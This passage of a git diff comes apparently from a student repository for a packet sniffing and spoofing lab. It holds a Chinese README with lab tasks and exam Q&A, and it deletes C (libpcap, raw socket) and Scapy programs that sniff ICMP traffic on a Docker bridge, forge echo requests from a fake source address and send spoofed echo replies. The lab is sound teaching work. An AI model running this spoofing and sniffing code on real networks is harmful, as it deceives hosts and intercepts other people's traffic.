2. HostA 执行 `ping 1.2.3.4` -> **成功收到回复**(Attacker 伪造的)。
|
||||||
|
3. HostA 执行 `ping 10.9.0.99` (局域网内不存在的 IP) -> **失败**。
|
||||||
|
* **原理深度解析**:因为 HostA 会先发送 **ARP 请求** 寻找 `10.9.0.99` 的 MAC 地址。由于该 IP 不存在,ARP 无响应,IP 包根本发不出去,Attacker 也就嗅探不到请求。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 2. 任务集 2:使用 C 语言 (libpcap & Raw Socket)
|
||||||
|
|
||||||
|
### 编译与运行
|
||||||
|
```bash
|
||||||
|
# 在容器或挂载目录下编译
|
||||||
|
gcc -o sniffer_c sniffer.c -lpcap
|
||||||
|
gcc -o spoofer_c spoofer.c
|
||||||
|
gcc -o sniff_and_spoof_c sniff_and_spoof.c -lpcap
|
||||||
|
|
||||||
|
# 运行(记得 sudo)
|
||||||
|
sudo ./sniffer_c
|
||||||
|
```
|
||||||
|
|
||||||
|
### 核心技术点 (验收常考)
|
||||||
|
* **libpcap 流程**:`pcap_open_live` -> `pcap_compile` -> `pcap_setfilter` -> `pcap_loop`。
|
||||||
|
* **Raw Socket 伪造**:必须设置 `IP_HDRINCL` 选项,手动构造整个 IP 和 ICMP 首部。
|
||||||
|
* **校验和 (Checksum)**:计算前必须将校验和字段清零,否则计算结果错误,包会被丢弃。
|
||||||
|
* **字节序 (Endianness)**:网络传输使用大端序,多字节字段(如 IP、Port)需使用 `htons()` / `htonl()` 转换。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 3. 验收常见 Q&A
|
||||||
|
|
||||||
|
1. **Q: 为什么攻击者能看到其他机器的流量?**
|
||||||
|
* A: 容器处于 `host` 网络模式,且开启了 **混杂模式 (Promiscuous Mode)**,允许网卡接收目的 MAC 不是本机的帧。
|
||||||
|
2. **Q: 交换式网络环境下嗅探有什么限制?**
|
||||||
|
* A: 在真实物理交换机下,除非进行 ARP 欺骗或配置端口镜像,否则混杂模式只能看到广播帧和发往本机的帧。Docker 虚拟网桥模拟了这种环境。
|
||||||
|
3. **Q: Scapy 与 C 语言开发相比有什么优缺点?**
|
||||||
|
* A: Scapy 开发效率极高,一行代码搞定协议堆叠;C 语言执行效率高,能更深入底层,适合学习协议栈细节。
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 演示清单 (Checklist)
|
||||||
|
- [ ] `docker-compose up -d` 环境就绪。
|
||||||
|
- [ ] 找到正确的 `br-xxxx` 网桥接口名。
|
||||||
|
- [ ] 所有代码已针对当前环境的网桥名完成更新。
|
||||||
|
- [ ] 准备好两个终端:一个运行嗅探/伪造脚本,一个在 HostA 执行测试命令。
|
||||||
@@ -1,76 +0,0 @@
|
|||||||
#include <pcap.h>
|
|
||||||
#include <stdio.h>
|
|
||||||
#include <string.h>
|
|
||||||
#include <sys/socket.h>
|
|
||||||
#include <netinet/ip.h>
|
|
||||||
#include <netinet/ip_icmp.h>
|
|
||||||
#include <arpa/inet.h>
|
|
||||||
#include <unistd.h>
|
|
||||||
|
|
||||||
unsigned short in_cksum (unsigned short *buf, int length) {
|
|
||||||
unsigned short *w = buf;
|
|
||||||
int nleft = length;
|
|
||||||
int sum = 0;
|
|
||||||
unsigned short temp=0;
|
|
||||||
while (nleft > 1) { sum += *w++; nleft -= 2; }
|
|
||||||
if (nleft == 1) { *(u_char *)(&temp) = *(u_char *)w ; sum += temp; }
|
|
||||||
sum = (sum >> 16) + (sum & 0xffff);
|
|
||||||
sum += (sum >> 16);
|
|
||||||
return (unsigned short)(~sum);
|
|
||||||
}
|
|
||||||
|
|
||||||
void send_raw_ip_packet(struct iphdr* ip) {
|
|
||||||
struct sockaddr_in dest_info;
|
|
||||||
int enable = 1;
|
|
||||||
int sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
|
|
||||||
setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &enable, sizeof(enable));
|
|
||||||
dest_info.sin_family = AF_INET;
|
|
||||||
dest_info.sin_addr.s_addr = ip->daddr;
|
|
||||||
sendto(sock, ip, ntohs(ip->tot_len), 0, (struct sockaddr *)&dest_info, sizeof(dest_info));
|
|
||||||
close(sock);
|
|
||||||
}
|
|
||||||
|
|
||||||
void got_packet(u_char *args, const struct pcap_pkthdr *header, const u_char *packet) {
|
|
||||||
struct iphdr *ip = (struct iphdr *)(packet + 14); // Skip Ethernet header (14 bytes)
|
|
||||||
if (ip->protocol != IPPROTO_ICMP) return;
|
|
||||||
|
|
||||||
struct icmphdr *icmp = (struct icmphdr *)(packet + 14 + (ip->ihl * 4));
|
|
||||||
if (icmp->type == 8) { // Echo request
|
|
||||||
printf("Intercepted ICMP Echo Request from %s to %s\n", inet_ntoa(*(struct in_addr *)&ip->saddr), inet_ntoa(*(struct in_addr *)&ip->daddr));
|
|
||||||
|
|
||||||
char buffer[1500];
|
|
||||||
int ip_header_len = ip->ihl * 4;
|
|
||||||
int icmp_len = ntohs(ip->tot_len) - ip_header_len;
|
|
||||||
memcpy(buffer, ip, ntohs(ip->tot_len));
|
|
||||||
|
|
||||||
struct iphdr *new_ip = (struct iphdr *)buffer;
|
|
||||||
struct icmphdr *new_icmp = (struct icmphdr *)(buffer + ip_header_len);
|
|
||||||
|
|
||||||
// Swap addresses
|
|
||||||
new_ip->saddr = ip->daddr;
|
|
||||||
new_ip->daddr = ip->saddr;
|
|
||||||
new_ip->ttl = 64;
|
|
||||||
|
|
||||||
// Change to Echo Reply
|
|
||||||
new_icmp->type = 0;
|
|
||||||
new_icmp->checksum = 0;
|
|
||||||
new_icmp->checksum = in_cksum((unsigned short *)new_icmp, icmp_len);
|
|
||||||
|
|
||||||
printf("Sending spoofed ICMP Echo Reply from %s back to %s...\n", inet_ntoa(*(struct in_addr *)&new_ip->saddr), inet_ntoa(*(struct in_addr *)&new_ip->daddr));
|
|
||||||
send_raw_ip_packet(new_ip);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
int main() {
|
|
||||||
pcap_t *handle;
|
|
||||||
char errbuf[PCAP_ERRBUF_SIZE];
|
|
||||||
struct bpf_program fp;
|
|
||||||
char filter_exp[] = "icmp";
|
|
||||||
handle = pcap_open_live("br-c031fbf1a197", BUFSIZ, 1, 1000, errbuf);
|
|
||||||
pcap_compile(handle, &fp, filter_exp, 0, PCAP_NETMASK_UNKNOWN);
|
|
||||||
pcap_setfilter(handle, &fp);
|
|
||||||
printf("C-based Sniff-and-Spoof active...\n");
|
|
||||||
pcap_loop(handle, -1, got_packet, NULL);
|
|
||||||
pcap_close(handle);
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
@@ -1,22 +0,0 @@
|
|||||||
#!/usr/bin/env python3
|
|
||||||
from scapy.all import *
|
|
||||||
|
|
||||||
def spoof_reply(pkt):
|
|
||||||
# Only respond to ICMP Echo Requests
|
|
||||||
if ICMP in pkt and pkt[ICMP].type == 8:
|
|
||||||
print(f"Intercepted ICMP Echo Request from {pkt[IP].src} to {pkt[IP].dst}")
|
|
||||||
|
|
||||||
# Build spoofed ICMP Echo Reply
|
|
||||||
ip = IP(src=pkt[IP].dst, dst=pkt[IP].src)
|
|
||||||
icmp = ICMP(type=0, id=pkt[ICMP].id, seq=pkt[ICMP].seq)
|
|
||||||
|
|
||||||
# Add payload if present
|
|
||||||
payload = pkt[Raw].load if Raw in pkt else b""
|
|
||||||
|
|
||||||
new_pkt = ip/icmp/payload
|
|
||||||
print(f"Sending spoofed reply from {pkt[IP].dst} to {pkt[IP].src}...")
|
|
||||||
send(new_pkt, verbose=0)
|
|
||||||
|
|
||||||
print("Sniff-and-Spoof active on br-c031fbf1a197...")
|
|
||||||
# Filter: icmp echo-request
|
|
||||||
sniff(iface='br-c031fbf1a197', filter='icmp and icmp[icmptype]=8', prn=spoof_reply)
|
|
||||||
Binary file not shown.
@@ -1,39 +0,0 @@
|
|||||||
#include <pcap.h>
|
|
||||||
#include <stdio.h>
|
|
||||||
#include <stdlib.h>
|
|
||||||
|
|
||||||
void got_packet(u_char *args, const struct pcap_pkthdr *header, const u_char *packet) {
|
|
||||||
printf("Got a packet\n");
|
|
||||||
}
|
|
||||||
|
|
||||||
int main() {
|
|
||||||
pcap_t *handle;
|
|
||||||
char errbuf[PCAP_ERRBUF_SIZE];
|
|
||||||
struct bpf_program fp;
|
|
||||||
char filter_exp[] = "icmp";
|
|
||||||
bpf_u_int32 net;
|
|
||||||
|
|
||||||
// Step 1: Open pcap session on the interface
|
|
||||||
handle = pcap_open_live("br-c031fbf1a197", BUFSIZ, 1, 1000, errbuf);
|
|
||||||
if (handle == NULL) {
|
|
||||||
fprintf(stderr, "Couldn't open device: %s\n", errbuf);
|
|
||||||
return 2;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Step 2: Compile filter_exp into BPF code
|
|
||||||
if (pcap_compile(handle, &fp, filter_exp, 0, net) == -1) {
|
|
||||||
fprintf(stderr, "Couldn't parse filter %s: %s\n", filter_exp, pcap_geterr(handle));
|
|
||||||
return 2;
|
|
||||||
}
|
|
||||||
if (pcap_setfilter(handle, &fp) == -1) {
|
|
||||||
fprintf(stderr, "Couldn't install filter %s: %s\n", filter_exp, pcap_geterr(handle));
|
|
||||||
return 2;
|
|
||||||
}
|
|
||||||
|
|
||||||
// Step 3: Capture packets
|
|
||||||
printf("Sniffing ICMP packets using C and libpcap...\n");
|
|
||||||
pcap_loop(handle, -1, got_packet, NULL);
|
|
||||||
|
|
||||||
pcap_close(handle);
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
@@ -1,8 +0,0 @@
|
|||||||
#!/usr/bin/env python3
|
|
||||||
from scapy.all import *
|
|
||||||
|
|
||||||
def print_pkt(pkt):
|
|
||||||
pkt.show()
|
|
||||||
|
|
||||||
print("Sniffing ICMP packets from spoofed IP 1.2.3.4...")
|
|
||||||
pkt = sniff(iface='br-c031fbf1a197', filter='icmp and src host 1.2.3.4', prn=print_pkt, count=1)
|
|
||||||
Binary file not shown.
@@ -1,81 +0,0 @@
|
|||||||
#include <stdio.h>
|
|
||||||
#include <string.h>
|
|
||||||
#include <sys/socket.h>
|
|
||||||
#include <netinet/ip.h>
|
|
||||||
#include <netinet/ip_icmp.h>
|
|
||||||
#include <arpa/inet.h>
|
|
||||||
#include <unistd.h>
|
|
||||||
|
|
||||||
/* Checksum calculation function */
|
|
||||||
unsigned short in_cksum (unsigned short *buf, int length) {
|
|
||||||
unsigned short *w = buf;
|
|
||||||
int nleft = length;
|
|
||||||
int sum = 0;
|
|
||||||
unsigned short temp=0;
|
|
||||||
|
|
||||||
while (nleft > 1) {
|
|
||||||
sum += *w++;
|
|
||||||
nleft -= 2;
|
|
||||||
}
|
|
||||||
|
|
||||||
if (nleft == 1) {
|
|
||||||
*(u_char *)(&temp) = *(u_char *)w ;
|
|
||||||
sum += temp;
|
|
||||||
}
|
|
||||||
|
|
||||||
sum = (sum >> 16) + (sum & 0xffff);
|
|
||||||
sum += (sum >> 16);
|
|
||||||
return (unsigned short)(~sum);
|
|
||||||
}
|
|
||||||
|
|
||||||
void send_raw_ip_packet(struct iphdr* ip) {
|
|
||||||
struct sockaddr_in dest_info;
|
|
||||||
int enable = 1;
|
|
||||||
|
|
||||||
int sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
|
|
||||||
if (sock < 0) {
|
|
||||||
perror("Socket creation failed");
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &enable, sizeof(enable));
|
|
||||||
|
|
||||||
dest_info.sin_family = AF_INET;
|
|
||||||
dest_info.sin_addr.s_addr = ip->daddr;
|
|
||||||
|
|
||||||
if (sendto(sock, ip, ntohs(ip->tot_len), 0, (struct sockaddr *)&dest_info, sizeof(dest_info)) < 0) {
|
|
||||||
perror("Sendto failed");
|
|
||||||
} else {
|
|
||||||
printf("Spoofed ICMP packet sent.\n");
|
|
||||||
}
|
|
||||||
close(sock);
|
|
||||||
}
|
|
||||||
|
|
||||||
int main() {
|
|
||||||
char buffer[1500];
|
|
||||||
memset(buffer, 0, 1500);
|
|
||||||
|
|
||||||
struct iphdr *ip = (struct iphdr *) buffer;
|
|
||||||
struct icmphdr *icmp = (struct icmphdr *) (buffer + sizeof(struct iphdr));
|
|
||||||
|
|
||||||
// Construct ICMP Header
|
|
||||||
icmp->type = ICMP_ECHO;
|
|
||||||
icmp->code = 0;
|
|
||||||
icmp->un.echo.id = htons(1234);
|
|
||||||
icmp->un.echo.sequence = htons(1);
|
|
||||||
icmp->checksum = 0;
|
|
||||||
icmp->checksum = in_cksum((unsigned short *)icmp, sizeof(struct icmphdr));
|
|
||||||
|
|
||||||
// Construct IP Header
|
|
||||||
ip->version = 4;
|
|
||||||
ip->ihl = 5;
|
|
||||||
ip->ttl = 64;
|
|
||||||
ip->saddr = inet_addr("1.2.3.4");
|
|
||||||
ip->daddr = inet_addr("10.9.0.5");
|
|
||||||
ip->protocol = IPPROTO_ICMP;
|
|
||||||
ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr));
|
|
||||||
|
|
||||||
send_raw_ip_packet(ip);
|
|
||||||
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
@@ -1,10 +0,0 @@
|
|||||||
#!/usr/bin/env python3
|
|
||||||
from scapy.all import *
|
|
||||||
|
|
||||||
print("Spoofing ICMP echo request from 1.2.3.4 to 10.9.0.5...")
|
|
||||||
a = IP()
|
|
||||||
a.src = '1.2.3.4'
|
|
||||||
a.dst = '10.9.0.5'
|
|
||||||
b = ICMP()
|
|
||||||
p = a/b
|
|
||||||
send(p)
|
|
||||||
Binary file not shown.
@@ -1,20 +0,0 @@
|
|||||||
#!/usr/bin/env python3
|
|
||||||
from scapy.all import *
|
|
||||||
|
|
||||||
target = "8.8.8.8"
|
|
||||||
print(f"Traceroute to {target}...")
|
|
||||||
|
|
||||||
for i in range(1, 31):
|
|
||||||
pkt = IP(dst=target, ttl=i) / ICMP()
|
|
||||||
reply = sr1(pkt, verbose=0, timeout=1)
|
|
||||||
|
|
||||||
if reply is None:
|
|
||||||
print(f"{i}: * * *")
|
|
||||||
elif reply.type == 3: # Destination unreachable
|
|
||||||
print(f"{i}: {reply.src} (Unreachable)")
|
|
||||||
break
|
|
||||||
else:
|
|
||||||
print(f"{i}: {reply.src}")
|
|
||||||
if reply.src == target:
|
|
||||||
print("Reached target!")
|
|
||||||
break
|
|
||||||
Reference in New Issue
Block a user